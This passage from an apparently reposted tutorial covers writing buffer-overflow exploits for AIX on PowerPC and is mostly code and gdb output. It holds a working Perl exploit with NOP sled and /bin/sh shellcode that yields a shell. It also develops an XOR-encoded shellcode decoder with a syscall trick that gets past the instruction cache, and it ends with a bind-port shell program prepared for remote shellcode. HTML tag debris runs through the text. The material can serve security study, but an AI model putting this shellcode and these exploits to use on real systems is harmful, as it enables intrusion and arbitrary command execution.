(gdb) x/20x $r1
0x2ff22210: 0x2ff22b40 0x2ff22b40 0x2ff22b40 0x00000000
0x2ff22220: 0x00000000 0x20000ee8 0x00000002 0x2ff2225c
0x2ff22230: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22240: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22250: 0x00000000 0x00000000 0x00000000 0x2ff22270
(gdb) x/20x 0x2ff22b40
0x2ff22b40: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b50: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b60: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b70: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b80: 0x60606060 0x60606060 0x60606060 0x60606060
...
...
...
(gdb)
0x2ff22f00: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22f10: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22f20: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22f30: 0x60606060 0x60607ca5 0x2a794082 0xfffd7fe8
0x2ff22f40: 0x02a63bff 0x0120387f 0xff08389f 0xff10907f
&lt;/pre&gt;&lt;br /&gt;
The lr register has been overwritten to 0x2ff22b40. Program will execute this address after function returning, and there are lots of nop instructions after this address until the shellcode appeared. But we must be notice the align problem. The following exploit avoid this problem:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;#!/usr/bin/perl
#
# exploit1.pl
# exploit program vulnerable

$CMD="/home/san/vulnerable";

$SHELLCODE=
"\x7c\xa5\x2a\x79". # /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd". # /* bnel &lt;shellcode&gt; */
"\x7f\xe8\x02\xa6". # /* mflr r31 */
"\x3b\xff\x01\x20". # /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08". # /* cal r3,-248(r31) */
"\x38\x9f\xff\x10". # /* cal r4,-240(r31) */
"\x90\x7f\xff\x10". # /* st r3,-240(r31) */
"\x90\xbf\xff\x14". # /* st r5,-236(r31) */
"\x88\x5f\xff\x0f". # /* lbz r2,-241(r31) */
"\x98\xbf\xff\x0f". # /* stb r5,-241(r31) */
"\x4c\xc6\x33\x42". # /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02". # /* svca */
"/bin/sh".
"\x05";

$NOP="\x60\x60\x60\x60"x800;
%ENV=();

$ENV{CCC}=$NOP.$SHELLCODE;
$ret=system $CMD ,"\x2f\xf2\x2b\x40"x11;

for($i=0;$i&amp;lt;4 &amp;amp;&amp;amp; $ret;$i++){
for($j=0;$j&amp;lt;4 &amp;amp;&amp;amp; $ret;$j++) {
$ENV{CCC}="A"x $j .$NOP.$SHELLCODE;
$ret = system $CMD ,"A"x $i ."\x2f\xf2\x2b\x40"x11;
}
}

-bash-2.05b$ ./exploit1.pl

/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@


/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@


/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@


/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@

$&lt;/shellcode&gt;&lt;/pre&gt;It seems good! &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt; --[ 6 - Bypass I-cache  Decoder shellcode is very simple in ia32 architechture.&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Although PowerPC instructions cann't access memory direct except load and store instructions, but we can write a decoder shellcode as ia32. &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;char shellcode[] =
// decoder
"\x7c\xa5\x2a\x79" // xor. %r5, %r5, %r5
"\x40\x82\xff\xfd" // bnel .main
"\x7c\x68\x02\xa6" // mflr %r3
"\x38\x63\x01\x01" // addi %r3, %r3, 0x101
"\x38\x63\xff\x26" // addi %r3, %r3, -0xDA # r3 point start of real shellcode-1
"\x39\x20\x01\x01" // li %r9, 0x101
"\x39\x29\xff\x23" // addi %r9, %r9, -0xDD # shellcode size+1
"\x7c\xc9\x18\xae" // lbzx %r6, %r9, %r3 # read a character
"\x68\xc7\xfe\xfe" // xori %r7, %r6, 0xFEFE # xor
"\x7c\xe9\x19\xae" // stbx %r7, %r9, %r3 # store a character
"\x35\x29\xff\xff" // subic. %r9, %r9, 1
"\x40\x82\xff\xf0" // bne Loop # loop

// real shellcode
"\xc6\x9d\xfe\xe3" // addi %r3, %r3, 29
"\x6e\x9f\x01\x06" // stw %r3, -8(%r1)
"\x6e\x5f\x01\x02" // stw %r5, -4(%r1)
"\xc6\x7f\x01\x06" // subi %r4, %r1, 8
"\xc6\xbe\xfe\xfb" // li %r2, 5
"\xb2\x38\xcd\xbc" // crorc %cr6, %cr6, %cr6
"\xba\xfe\xfe\xfc" // svca 0
"\xd1\x9c\x97\x90" // .byte '/', 'b', 'i', 'n',
"\xd1\x8d\x96\xfe" // '/', 's', 'h', 0x0
;

int main() {
int jump[2]={(int)shellcode,0};
((*(void (*)())jump)());
}
&lt;/pre&gt;The first part is decoder. r3 points to the address of the front of real shellcode. r9 is the counter, whose size is one more than real shellcode. It will do xor operate from last byte of real shellcode.  When I run the program in gdb, I find the following problem: &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;(gdb) r
Starting program: /home/san/test

Program received signal SIGSEGV, Segmentation fault.
0x20000418 in shellcode ()
(gdb) x/8i $pc
0x20000418 &lt;shellcode+48&gt;: addi r3,r3,29
0x2000041c &lt;shellcode+52&gt;: stw r3,-8(r1)
0x20000420 &lt;shellcode+56&gt;: stw r5,-4(r1)
0x20000424 &lt;shellcode+60&gt;: addi r4,r1,-8
0x20000428 &lt;shellcode+64&gt;: li r2,5
0x2000042c &lt;shellcode+68&gt;: crorc 4*cr1+eq,4*cr1+eq,4*cr1+eq
0x20000430 &lt;shellcode+72&gt;: sc
0x20000434 &lt;shellcode+76&gt;: cmpdi cr6,r2,26990
(gdb) x/24x $pc-48
0x200003e8 &lt;shellcode&gt;: 0x7ca52a79 0x4082fffd 0x7c6802a6 0x38630101
0x200003f8 &lt;shellcode+16&gt;: 0x3863ff26 0x39200101 0x3929ff23 0x7cc918ae
0x20000408 &lt;shellcode+32&gt;: 0x68c7fefe 0x7ce919ae 0x3529ffff 0x4082fff0
0x20000418 &lt;shellcode+48&gt;: 0x3863001d 0x9061fff8 0x90a1fffc 0x3881fff8
0x20000428 &lt;shellcode+64&gt;: 0x38400005 0x4cc63342 0x44000002 0x2f62696e
0x20000438 &lt;shellcode+80&gt;: 0x2f736800 0x00000000 0x100005a0 0x00000000
(gdb)
&lt;/shellcode+80&gt;&lt;/shellcode+64&gt;&lt;/shellcode+48&gt;&lt;/shellcode+32&gt;&lt;/shellcode+16&gt;&lt;/shellcode&gt;&lt;/shellcode+76&gt;&lt;/shellcode+72&gt;&lt;/shellcode+68&gt;&lt;/shellcode+64&gt;&lt;/shellcode+60&gt;&lt;/shellcode+56&gt;&lt;/shellcode+52&gt;&lt;/shellcode+48&gt;&lt;/pre&gt;The program halts at 0x20000418, and the instruction is "addi r3,r3,29". This instruction has no problem, and all of real shellcode seems decoded correctly, but the shellcode failed.  When I break at 0x20000418, it is in different way after run: &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;(gdb) b *0x20000418
Breakpoint 1 at 0x20000418
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test

Breakpoint 1, 0x20000418 in shellcode ()
(gdb) x/8i $pc
0x20000418 &lt;shellcode+48&gt;: lfsu f20,-285(r29)
0x2000041c &lt;shellcode+52&gt;: stw r3,-8(r1)
0x20000420 &lt;shellcode+56&gt;: stw r5,-4(r1)
0x20000424 &lt;shellcode+60&gt;: addi r4,r1,-8
0x20000428 &lt;shellcode+64&gt;: li r2,5
0x2000042c &lt;shellcode+68&gt;: crorc 4*cr1+eq,4*cr1+eq,4*cr1+eq
0x20000430 &lt;shellcode+72&gt;: sc
0x20000434 &lt;shellcode+76&gt;: cmpdi cr6,r2,26990
(gdb) x/24x $pc-48
0x200003e8 &lt;shellcode&gt;: 0x7ca52a79 0x4082fffd 0x7c6802a6 0x38630101
0x200003f8 &lt;shellcode+16&gt;: 0x3863ff26 0x39200101 0x3929ff23 0x7cc918ae
0x20000408 &lt;shellcode+32&gt;: 0x68c7fefe 0x7ce919ae 0x3529ffff 0x4082fff0
0x20000418 &lt;shellcode+48&gt;: 0xc69dfee3 0x9061fff8 0x90a1fffc 0x3881fff8
0x20000428 &lt;shellcode+64&gt;: 0x38400005 0x4cc63342 0x44000002 0x2f62696e
0x20000438 &lt;shellcode+80&gt;: 0x2f736800 0x00000000 0x100005a0 0x00000000
(gdb)
&lt;/shellcode+80&gt;&lt;/shellcode+64&gt;&lt;/shellcode+48&gt;&lt;/shellcode+32&gt;&lt;/shellcode+16&gt;&lt;/shellcode&gt;&lt;/shellcode+76&gt;&lt;/shellcode+72&gt;&lt;/shellcode+68&gt;&lt;/shellcode+64&gt;&lt;/shellcode+60&gt;&lt;/shellcode+56&gt;&lt;/shellcode+52&gt;&lt;/shellcode+48&gt;&lt;/pre&gt;I found that the content of address 0x20000418 wasn't decoded. It was strange! I discussed it with watercloud and alert7, and they said it might be instruction cache or branch prediction. We found a discussion by google:  &lt;a href="http://seclists.org/vuln-dev/2001/Nov/325"&gt;&lt;/a&gt;  AIX has instruction cache and data cache. When execution begins, the instructions are fetched from the instruction cache -- which isn't always the same as what you put into the data cache. So, a normal xor decoder won't work.  "A developer's guide to the PowerPC architecture" introduced self-modifying code. While writing self-modifying code is not a recommended practice, sometimes it is absolutely necessary. The following sequence shows the instructions used to perform a code modification:  1. Store the modified instruction. 2. Issue the dcbst instruction to force the cache line containing the modified instruction to storage. 3. Issue the sync instruction to ensure dcbst is completed. 4. Issue the icbi instruction to invalidate the instruction cache line that will contain the modified instruction. 5. Issue the isync instruction to clear the instruction pipeline of any instruction that may have already been fetched from the cache line prior to the cache line being invalidated. 6. It is now okay to execute the modified instruction. An instruction cache miss will occur when fetching this instruction, resulting in the fetching of the modified instruction from storage.  H D Moore send me a sample on MacOSX, but these is a big problem on my box.  OK, my AIX box like below: &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;bash-2.05b$ uname -a
AIX aix5 1 5 001381144C00
bash-2.05b$ lsattr -El proc0
state enable Processor state False
type PowerPC_604 Processor type False
frequency 232649620 Processor Speed False
&lt;/pre&gt;So sadly, My box doesn't support cache instructions. &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;bash-2.05b$ cat testasm.s
.globl .main
.csect .text[PR]
.main:
icbi %r6, %r13
dcbf %r6, %r13

bash-2.05b$ gcc testasm.s
testasm.s: Assembler messages:
testasm.s:4: Error: Unrecognized opcode: `icbi'
testasm.s:5: Error: Unrecognized opcode: `dcbf'
bash-2.05b$ /usr/ccs/bin/as testasm.s
Assembler:
testasm.s: line 4: 1252-149 Instruction icbi is not implemented in the current assembly mode COM.
testasm.s: line 4: 1252-142 Syntax error.
testasm.s: line 5: 1252-149 Instruction dcbf is not implemented in the current assembly mode COM.
testasm.s: line 5: 1252-142 Syntax error.
&lt;/pre&gt;Neither GNU's as and system's as cann't recognized these cache instructions. sync and isync were supported. &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;-bash-2.05b$ cat test.c
char shellcode[] =
// decoder
"\x7c\xa5\x2a\x79" // xor. %r5, %r5, %r5
"\x40\x82\xff\xfd" // bnel .main
"\x7c\x68\x02\xa6" // mflr %r3
"\x38\x63\x01\x01" // addi %r3, %r3, 0x101
"\x38\x63\xff\x2e" // addi %r3, %r3, -0xDA # r3 point start of real shellcode-1
"\x39\x20\x01\x01" // li %r9, 0x101
"\x39\x29\xff\x23" // addi %r9, %r9, -0xDD # shellcode size+1
"\x7c\xc9\x18\xae" // lbzx %r6, %r9, %r3 # read a character
"\x68\xc7\xfe\xfe" // xori %r7, %r6, 0xFEFE # xor
"\x7c\xe9\x19\xae" // stbx %r7, %r9, %r3 # store a character
"\x35\x29\xff\xff" // subic. %r9, %r9, 1
"\x40\x82\xff\xf0" // bne Loop # loop

"\x7c\x00\x04\xac" // sync
"\x4c\x00\x01\x2c" // isync

// real shellcode
"\xc6\x9d\xfe\xe3" // addi %r3, %r3, 29
"\x6e\x9f\x01\x06" // stw %r3, -8(%r1)
"\x6e\x5f\x01\x02" // stw %r5, -4(%r1)
"\xc6\x7f\x01\x06" // subi %r4, %r1, 8
"\xc6\xbe\xfe\xfb" // li %r2, 5
"\xb2\x38\xcd\xbc" // crorc %cr6, %cr6, %cr6
"\xba\xfe\xfe\xfc" // svca 0
"\xd1\x9c\x97\x90" // .byte '/', 'b', 'i', 'n',
"\xd1\x8d\x96\xfe" // '/', 's', 'h', 0x0
;

int main() {
int jump[2]={(int)shellcode,0};
((*(void (*)())jump)());
}&lt;/pre&gt;I run this program in gdb direct to check sync and isync whether they work well. &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;(gdb) r
Starting program: /home/san/test

Program received signal SIGSEGV, Segmentation fault.
0x20000420 in shellcode ()
(gdb) x/8i $pc-8
0x20000418 &lt;shellcode+48&gt;: sync
0x2000041c &lt;shellcode+52&gt;: isync
0x20000420 &lt;shellcode+56&gt;: addi r3,r3,29
0x20000424 &lt;shellcode+60&gt;: stw r3,-8(r1)
0x20000428 &lt;shellcode+64&gt;: stw r5,-4(r1)
0x2000042c &lt;shellcode+68&gt;: addi r4,r1,-8
0x20000430 &lt;shellcode+72&gt;: li r2,5
0x20000434 &lt;shellcode+76&gt;: crorc 4*cr1+eq,4*cr1+eq,4*cr1+eq
(gdb) x/24x $pc-56
0x200003e8 &lt;shellcode&gt;: 0x7ca52a79 0x4082fffd 0x7c6802a6 0x38630101
0x200003f8 &lt;shellcode+16&gt;: 0x3863ff2e 0x39200101 0x3929ff23 0x7cc918ae
0x20000408 &lt;shellcode+32&gt;: 0x68c7fefe 0x7ce919ae 0x3529ffff 0x4082fff0
0x20000418 &lt;shellcode+48&gt;: 0x7c0004ac 0x4c00012c 0x3863001d 0x9061fff8
0x20000428 &lt;shellcode+64&gt;: 0x90a1fffc 0x3881fff8 0x38400005 0x4cc63342
0x20000438 &lt;shellcode+80&gt;: 0x44000002 0x2f62696e 0x2f736800 0x00000000
&lt;/shellcode+80&gt;&lt;/shellcode+64&gt;&lt;/shellcode+48&gt;&lt;/shellcode+32&gt;&lt;/shellcode+16&gt;&lt;/shellcode&gt;&lt;/shellcode+76&gt;&lt;/shellcode+72&gt;&lt;/shellcode+68&gt;&lt;/shellcode+64&gt;&lt;/shellcode+60&gt;&lt;/shellcode+56&gt;&lt;/shellcode+52&gt;&lt;/shellcode+48&gt;&lt;/pre&gt;The program crashed at 0x20000420 too. I took a breakpoint at 0x20000420 first: &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;(gdb) b *0x20000420
Breakpoint 1 at 0x20000420
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test

Breakpoint 1, 0x20000420 in shellcode ()
(gdb) x/8i $pc-8
0x20000418 &lt;shellcode+48&gt;: sync
0x2000041c &lt;shellcode+52&gt;: isync
0x20000420 &lt;shellcode+56&gt;: lfsu f20,-285(r29)
0x20000424 &lt;shellcode+60&gt;: stw r3,-8(r1)
0x20000428 &lt;shellcode+64&gt;: stw r5,-4(r1)
0x2000042c &lt;shellcode+68&gt;: addi r4,r1,-8
0x20000430 &lt;shellcode+72&gt;: li r2,5
0x20000434 &lt;shellcode+76&gt;: crorc 4*cr1+eq,4*cr1+eq,4*cr1+eq
(gdb) x/24x $pc-56
0x200003e8 &lt;shellcode&gt;: 0x7ca52a79 0x4082fffd 0x7c6802a6 0x38630101
0x200003f8 &lt;shellcode+16&gt;: 0x3863ff2e 0x39200101 0x3929ff23 0x7cc918ae
0x20000408 &lt;shellcode+32&gt;: 0x68c7fefe 0x7ce919ae 0x3529ffff 0x4082fff0
0x20000418 &lt;shellcode+48&gt;: 0x7c0004ac 0x4c00012c 0xc69dfee3 0x9061fff8
0x20000428 &lt;shellcode+64&gt;: 0x90a1fffc 0x3881fff8 0x38400005 0x4cc63342
0x20000438 &lt;shellcode+80&gt;: 0x44000002 0x2f62696e 0x2f736800 0x00000000
(gdb)
&lt;/shellcode+80&gt;&lt;/shellcode+64&gt;&lt;/shellcode+48&gt;&lt;/shellcode+32&gt;&lt;/shellcode+16&gt;&lt;/shellcode&gt;&lt;/shellcode+76&gt;&lt;/shellcode+72&gt;&lt;/shellcode+68&gt;&lt;/shellcode+64&gt;&lt;/shellcode+60&gt;&lt;/shellcode+56&gt;&lt;/shellcode+52&gt;&lt;/shellcode+48&gt;&lt;/pre&gt;Instruction at 0x20000420 didn't decode! sync and isync have no effect.  When I take a breakpoint at isync instruction, it works well too. &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;(gdb) b *0x2000041c
Breakpoint 1 at 0x2000041c
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test

Breakpoint 1, 0x2000041c in shellcode ()
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x10000100 in ?? ()
(gdb) c
Continuing.
$ exit
&lt;/pre&gt;Program exited normally.  Phil of 0dd showed his experience on ARM chip development. He said syscall interrupt can flush instruction cache. So I modified my shellcode as follows: &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;char shellcode[] =
// decoder
"\x7d\xce\x72\x79" // xor. %r14, %r14, %r14
"\x40\x82\xff\xfd" // bnel .main
"\x7d\xe8\x02\xa6" // mflr %r15
"\x39\xef\x01\x01" // addi %r15, %r15, 0x101
"\x39\xef\xff\x37" // addi %r15, %r15, -0xC9 # r15 point to start of real shellcode
"\x3a\x20\x01\x01" // li %r17, 0x101
"\x38\x51\xff\xe1" // addi %r2, %r17, -0x1F # r2=0xe2 syscall number of sync.
"\x3a\x31\xff\x2f" // addi %r17, %r17, -0xD1 # shellcode size

"\x7e\x51\x78\xae" // lbzx %r18, %r17, %r15 # read a character
"\x6a\x53\xfe\xfe" // xori %r19, %r18, 0xFEFE # xor
"\x7e\x71\x79\xae" // stbx %r19, %r17, %r15 # store a character
"\x36\x31\xff\xff" // subic. %r17, %r17, 1
"\x40\x80\xff\xf0" // bne Loop # loop

"\x4c\xc6\x33\x42" // crorc %cr6, %cr6, %cr6
"\x7d\xe8\x03\xa6" // mtlr %r15 # lr=real shellcode address
"\x44\xff\xff\x02" // svca 0

// real shellcode
"\xc6\x91\xfe\xde" // addi %r3, %r15, 32
"\x6e\x9f\x01\x06" // stw %r3, -8(%r1)
"\x83\x3b\x8d\x86" // mr %r5, %r14
"\x6e\x5f\x01\x02" // stw %r5, -4(%r1)
"\xc6\x7f\x01\x06" // subi %r4, %r1, 8
"\xc6\xbe\xfe\xfb" // li %r2, 5
"\xb2\x38\xcd\xbc" // crorc %cr6, %cr6, %cr6
"\xba\xfe\xfe\xfc" // svca 0
"\xd1\x9c\x97\x90" // .byte '/', 'b', 'i', 'n',
"\xd1\x8d\x96\xfe" // '/', 's', 'h', 0x0
;

int main() {
int jump[2]={(int)shellcode,0};
((*(void (*)())jump)());
}

-bash-2.05b$ ./test_3
$ id
uid=202(san) gid=1(staff)
$ exit
-bash-2.05b$
&lt;/pre&gt;It runs well. After syscall, the system executes lr register and the instruction will not be cache. So inserting a syscall before real shellcode is the way to resolve I-cache problem.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;--[ 7 - How to debug remote overflow  LSD provided some remote shellcodes from UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes. &lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
The following C program describes a simple bind port function. &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;-bash-2.05b$ cat bind.c
#include &lt;unistd.h&gt;
#include &lt;sys socket.h=""&gt;
#include &lt;netinet in.h=""&gt;
#include &lt;fcntl.h&gt;

int soc,cli,i;
struct sockaddr_in serv_addr;

int main()
{
serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=0;
serv_addr.sin_port=0x1234;
soc=socket(2,1,0);
bind(soc,(struct sockaddr *)&amp;amp;serv_addr,0x10);
listen(soc,5);
cli=accept(soc,0,0);

for (i=2;i&amp;gt;=0;i--) {
close(i);
kfcntl(cli, 0, i);
}

execve("/bin/sh", 0, 0);
}
&lt;/fcntl.h&gt;&lt;/netinet&gt;&lt;/sys&gt;&lt;/unistd.h&gt;&lt;/pre&gt;kfcntl syscall is the last call of dup2 on AIX.  -bash-2.05b$ gdb bind GNU gdb 6.1 Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "powerpc-ibm-aix5.1.0.0"... (gdb) disas main Dump of assembler code for function main: &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;0x10000534 &lt;main+0&gt;: mflr r0
0x10000538 &lt;main+4&gt;: stw r31,-4(r1)
0x1000053c &lt;main+8&gt;: stw r0,8(r1)
0x10000540 &lt;main+12&gt;: stwu r1,-72(r1)
0x10000544 &lt;main+16&gt;: mr r31,r1
0x10000548 &lt;main+20&gt;: lwz r9,108(r2)
0x1000054c &lt;main+24&gt;: li r0,2
0x10000550 &lt;main+28&gt;: stb r0,1(r9)
0x10000554 &lt;main+32&gt;: lwz r9,108(r2)
0x10000558 &lt;main+36&gt;: li r0,0
0x1000055c &lt;main+40&gt;: stw r0,4(r9)
0x10000560 &lt;main+44&gt;: lwz r9,108(r2)
0x10000564 &lt;main+48&gt;: li r0,4660
0x10000568 &lt;main+52&gt;: sth r0,2(r9)
0x1000056c &lt;main+56&gt;: li r3,2
0x10000570 &lt;main+60&gt;: li r4,1
0x10000574 &lt;main+64&gt;: li r5,0
0x10000578 &lt;main+68&gt;: bl 0x1000734c &lt;socket&gt;
0x1000057c &lt;main+72&gt;: lwz r2,20(r1)
0x10000580 &lt;main+76&gt;: mr r0,r3
0x10000584 &lt;main+80&gt;: lwz r9,112(r2)
0x10000588 &lt;main+84&gt;: stw r0,0(r9)
0x1000058c &lt;main+88&gt;: lwz r9,112(r2)
0x10000590 &lt;main+92&gt;: lwz r3,0(r9)
0x10000594 &lt;main+96&gt;: lwz r4,108(r2)
0x10000598 &lt;main+100&gt;: li r5,16
0x1000059c &lt;main+104&gt;: bl 0x10007448 &lt;bind&gt;
0x100005a0 &lt;main+108&gt;: lwz r2,20(r1)
0x100005a4 &lt;main+112&gt;: lwz r9,112(r2)
0x100005a8 &lt;main+116&gt;: lwz r3,0(r9)
0x100005ac &lt;main+120&gt;: li r4,5
0x100005b0 &lt;main+124&gt;: bl 0x1000746c &lt;listen&gt;
0x100005b4 &lt;main+128&gt;: lwz r2,20(r1)
0x100005b8 &lt;main+132&gt;: lwz r9,112(r2)
0x100005bc &lt;main+136&gt;: lwz r3,0(r9)
0x100005c0 &lt;main+140&gt;: li r4,0
0x100005c4 &lt;main+144&gt;: li r5,0
0x100005c8 &lt;main+148&gt;: bl 0x10007394 &lt;naccept&gt;
0x100005cc &lt;main+152&gt;: lwz r2,20(r1)
0x100005d0 &lt;main+156&gt;: mr r0,r3
0x100005d4 &lt;main+160&gt;: lwz r9,116(r2)
0x100005d8 &lt;main+164&gt;: stw r0,0(r9)
0x100005dc &lt;main+168&gt;: lwz r9,120(r2)
0x100005e0 &lt;main+172&gt;: li r0,2
0x100005e4 &lt;main+176&gt;: stw r0,0(r9)
0x100005e8 &lt;main+180&gt;: lwz r9,120(r2)
0x100005ec &lt;main+184&gt;: lwz r0,0(r9)
0x100005f0 &lt;main+188&gt;: cmpwi r0,0
0x100005f4 &lt;main+192&gt;: bge- 0x100005fc &lt;main+200&gt;
0x100005f8 &lt;main+196&gt;: b 0x10000640 &lt;main+268&gt;
0x100005fc &lt;main+200&gt;: lwz r9,120(r2)
0x10000600 &lt;main+204&gt;: lwz r3,0(r9)
0x10000604 &lt;main+208&gt;: bl 0x100074b4 &lt;close&gt;
0x10000608 &lt;main+212&gt;: lwz r2,20(r1)
0x1000060c &lt;main+216&gt;: lwz r9,116(r2)
0x10000610 &lt;main+220&gt;: lwz r11,120(r2)
0x10000614 &lt;main+224&gt;: lwz r3,0(r9)
0x10000618 &lt;main+228&gt;: li r4,0
0x1000061c &lt;main+232&gt;: lwz r5,0(r11)
0x10000620 &lt;main+236&gt;: bl 0x100074d8 &lt;kfcntl&gt;
0x10000624 &lt;main+240&gt;: lwz r2,20(r1)
0x10000628 &lt;main+244&gt;: lwz r11,120(r2)
0x1000062c &lt;main+248&gt;: lwz r9,120(r2)
0x10000630 &lt;main+252&gt;: lwz r9,0(r9)
0x10000634 &lt;main+256&gt;: addi r0,r9,-1
0x10000638 &lt;main+260&gt;: stw r0,0(r11)
0x1000063c &lt;main+264&gt;: b 0x100005e8 &lt;main+180&gt;
0x10000640 &lt;main+268&gt;: lwz r3,124(r2)
0x10000644 &lt;main+272&gt;: li r4,0
0x10000648 &lt;main+276&gt;: li r5,0
0x1000064c &lt;main+280&gt;: bl 0x10007328 &lt;execve&gt;
0x10000650 &lt;main+284&gt;: lwz r2,20(r1)
0x10000654 &lt;main+288&gt;: mr r3,r0
0x10000658 &lt;main+292&gt;: lwz r1,0(r1)
0x1000065c &lt;main+296&gt;: lwz r0,8(r1)
0x10000660 &lt;main+300&gt;: mtlr r0
0x10000664 &lt;main+304&gt;: lwz r31,-4(r1)
0x10000668 &lt;main+308&gt;: blr
0x1000066c &lt;main+312&gt;: .long 0x0
0x10000670 &lt;main+316&gt;: .long 0x2061
0x10000674 &lt;main+320&gt;: lwz r0,1(r1)
0x10000678 &lt;main+324&gt;: .long 0x138
0x1000067c &lt;main+328&gt;: .long 0x46d61
0x10000680 &lt;main+332&gt;: xori r14,r11,7936
End of assembler dump.
&lt;/main+332&gt;&lt;/main+328&gt;&lt;/main+324&gt;&lt;/main+320&gt;&lt;/main+316&gt;&lt;/main+312&gt;&lt;/main+308&gt;&lt;/main+304&gt;&lt;/main+300&gt;&lt;/main+296&gt;&lt;/main+292&gt;&lt;/main+288&gt;&lt;/main+284&gt;&lt;/execve&gt;&lt;/main+280&gt;&lt;/main+276&gt;&lt;/main+272&gt;&lt;/main+268&gt;&lt;/main+180&gt;&lt;/main+264&gt;&lt;/main+260&gt;&lt;/main+256&gt;&lt;/main+252&gt;&lt;/main+248&gt;&lt;/main+244&gt;&lt;/main+240&gt;&lt;/kfcntl&gt;&lt;/main+236&gt;&lt;/main+232&gt;&lt;/main+228&gt;&lt;/main+224&gt;&lt;/main+220&gt;&lt;/main+216&gt;&lt;/main+212&gt;&lt;/close&gt;&lt;/main+208&gt;&lt;/main+204&gt;&lt;/main+200&gt;&lt;/main+268&gt;&lt;/main+196&gt;&lt;/main+200&gt;&lt;/main+192&gt;&lt;/main+188&gt;&lt;/main+184&gt;&lt;/main+180&gt;&lt;/main+176&gt;&lt;/main+172&gt;&lt;/main+168&gt;&lt;/main+164&gt;&lt;/main+160&gt;&lt;/main+156&gt;&lt;/main+152&gt;&lt;/naccept&gt;&lt;/main+148&gt;&lt;/main+144&gt;&lt;/main+140&gt;&lt;/main+136&gt;&lt;/main+132&gt;&lt;/main+128&gt;&lt;/listen&gt;&lt;/main+124&gt;&lt;/main+120&gt;&lt;/main+116&gt;&lt;/main+112&gt;&lt;/main+108&gt;&lt;/bind&gt;&lt;/main+104&gt;&lt;/main+100&gt;&lt;/main+96&gt;&lt;/main+92&gt;&lt;/main+88&gt;&lt;/main+84&gt;&lt;/main+80&gt;&lt;/main+76&gt;&lt;/main+72&gt;&lt;/socket&gt;&lt;/main+68&gt;&lt;/main+64&gt;&lt;/main+60&gt;&lt;/main+56&gt;&lt;/main+52&gt;&lt;/main+48&gt;&lt;/main+44&gt;&lt;/main+40&gt;&lt;/main+36&gt;&lt;/main+32&gt;&lt;/main+28&gt;&lt;/main+24&gt;&lt;/main+20&gt;&lt;/main+16&gt;&lt;/main+12&gt;&lt;/main+8&gt;&lt;/main+4&gt;&lt;/main+0&gt;&lt;/pre&gt;GDB displays entry address of all the functions, and we take breakpoints on these addresses. &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;(gdb) b *0x1000734c
Breakpoint 1 at 0x1000734c
(gdb) b *0x10007448
Breakpoint 2 at 0x10007448
(gdb) b *0x1000746c
Breakpoint 3 at 0x1000746c
(gdb) b *0x10007394
Breakpoint 4 at 0x10007394
(gdb) b *0x100074b4
Breakpoint 5 at 0x100074b4
(gdb) b *0x100074d8
Breakpoint 6 at 0x100074d8
(gdb) b *0x10007328
Breakpoint 7 at 0x10007328
&lt;/pre&gt;When the program runs, gdb will break into these functions, so we can obtain syscall numbers of these functions. &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;(gdb) r
Starting program: /home/san/bind

Breakpoint 1, 0x1000734c in socket ()
(gdb) x/8i $pc
0x1000734c &lt;socket&gt;: lwz r12,4(r2)
0x10007350 &lt;socket+4&gt;: stw r2,20(r1)
0x10007354 &lt;socket+8&gt;: lwz r0,0(r12)
0x10007358 &lt;socket+12&gt;: lwz r2,4(r12)
0x1000735c &lt;socket+16&gt;: mtctr r0
0x10007360 &lt;socket+20&gt;: bctr
0x10007364 &lt;socket+24&gt;: .long 0x0
0x10007368 &lt;socket+28&gt;: .long 0xc8000
(gdb) si
0x10007350 in socket ()
(gdb)
0x10007354 in socket ()
(gdb)
0x10007358 in socket ()
(gdb)
0x1000735c in socket ()
(gdb) p/x $r2
$1 = 0x8d
(gdb) c
Continuing.

Breakpoint 2, 0x10007448 in bind ()
(gdb) x/8i $pc
0x10007448 &lt;bind&gt;: lwz r12,32(r2)
0x1000744c &lt;bind+4&gt;: stw r2,20(r1)
